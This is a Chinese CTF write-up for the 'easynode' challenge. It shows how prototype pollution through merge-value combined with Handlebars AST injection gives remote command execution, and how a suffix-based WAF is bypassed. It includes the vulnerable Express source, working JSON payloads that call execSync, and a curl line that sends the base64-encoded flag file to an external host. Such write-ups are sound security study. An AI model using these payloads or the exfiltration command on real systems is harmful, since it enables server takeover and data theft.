easynode—writeup

一道原型链污染+AST注入的题,比赛的时候就俩解,有之前给他们上过课的客户看见我也打了,私信问了我下这题,最近事比较多,也当水个文章了hhhhhhhh

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /template HTTP/1.1
HOst: 127.0.0.1:3000
Content-Type: application/json
Content-Length: 406

{
"pathKey": "__proto__.template",
"data":{
"type":"Program",
"body":[{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('ls').toString())"
}],
"loc": {
"start": 0
}
}]
}
}


curl外带flag即可:

1
curl 192.168.147.1:2333/`cat /flag|base64`'

题目分析:get /src可看到题目源码:

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
const express = require('express');
const app = express();
const fs = require("fs")
const mergeValue = require("merge-value")
const bodyParser = require('body-parser')
const handlebars = require("handlebars");
app.use(bodyParser.json())

/*
"dependencies": {
"body-parser": "^1.19.0",
"express": "^4.17.1",
"merge-value": "^1.0",
"handlebars": "^4.7.7"
}
*/
app.post('/template', function (req, res) {
let defaultTemplate = {
"text": {
"title": "WriteUp"
},
"template": "{{this.title}}{{this.body}}",
"waf": {
"black1": "__",
"black2": "program"
}
}
//禁止覆盖原始的waf值
if(req.body.wafkey && req.body.wafdata) {
if (defaultTemplate["waf"][req.body.wafkey]) {
defaultTemplate["waf"]["custom" + req.body.wafkey] = req.body.wafdata[req.body.wafkey]
} else {
defaultTemplate["waf"][req.body.wafkey] = req.body.wafData[req.body.wafkey]
}
}
//取出所有的waf值
let waf = defaultTemplate["waf"]
let wafList = []
for(let wafWord in waf){
wafList.push(waf[wafWord])
}
for(let requestKey in req.body){
if(typeof req.body[requestKey] === 'string'){
for(let index in wafList){
if(req.body[requestKey].toLowerCase().endsWith(wafList[index])){
res.send("waf");
return;
}
}
}
}
let templateData = mergeValue(defaultTemplate,req.body.pathKey,req.body.data)
let template = handlebars.compile(templateData["template"]);
res.send(template(templateData["text"]));
});

app.get('/', function (req, res) {
res.send('see `/src`');
});


app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});

app.listen(3000, function () {
console.log('start listening on port 3000');
});


可以看到使用了handlebars模版,并且输出可控:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

POST /template HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length: 193

{
"pathKey": "template",
"data": "{{#each this}}{{@key}} => {{this}}<br>{{/each}}",
"wafkey": "black1",
"wafdata": {
"black1": {
"title": "nonmalicious"
}
}
}

但是仔细看代码可以发现,handlebars”: “4.7.7,版本过高,不能直接执行命令,于是转换思路,可以发现存在原型链污染,于是可以想到原型链污染+handlebars AST注入:

1
这里可以通过 __proto__.template 绕过上面红框里的第一个if,然后顺便污染template,让他 lettemplate = handlebars.compile(templateData["template"]);执行我们的命令。

先本地测试一下我们自己的AST注入paylaod:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('open -a Calculator').toString())"
}],
"loc": {
"start": 0
}
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));



node执行一下,可以发现这个版本下是可以直接执行命令的:

于是根据题目要求,构造数据包,最终:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

POST /template HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length: 407

{
"pathKey": "__proto__.template",
"data":{
"type":"Program",
"body":[{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('pwd').toString())"
}],
"loc": {
"start": 0
}
}]
}


}

waf绕过:这里的waf也是比较简单的,WAF 检查内容是req.body 的所有字符串字段是否以 WAF 列表中的值结尾,过滤了下划线与Program。我们的 payload 是这样写的:

1
2
3
{"pathKey":"__proto__.template","data":{"type":"Program","body":[... payload AST ...]}} 

这两个关键字段pathKey和data,pathKey是字符串所以会被检测,但内容是__proto__.template,并不以任何 waf 字段结尾。所以不会触发waf,而data又不是字符串而是个对象,所以也不会检测。

(这题看了没多久其实思路就出来了,但是本地拉了个其他版本的环境…..差点gg)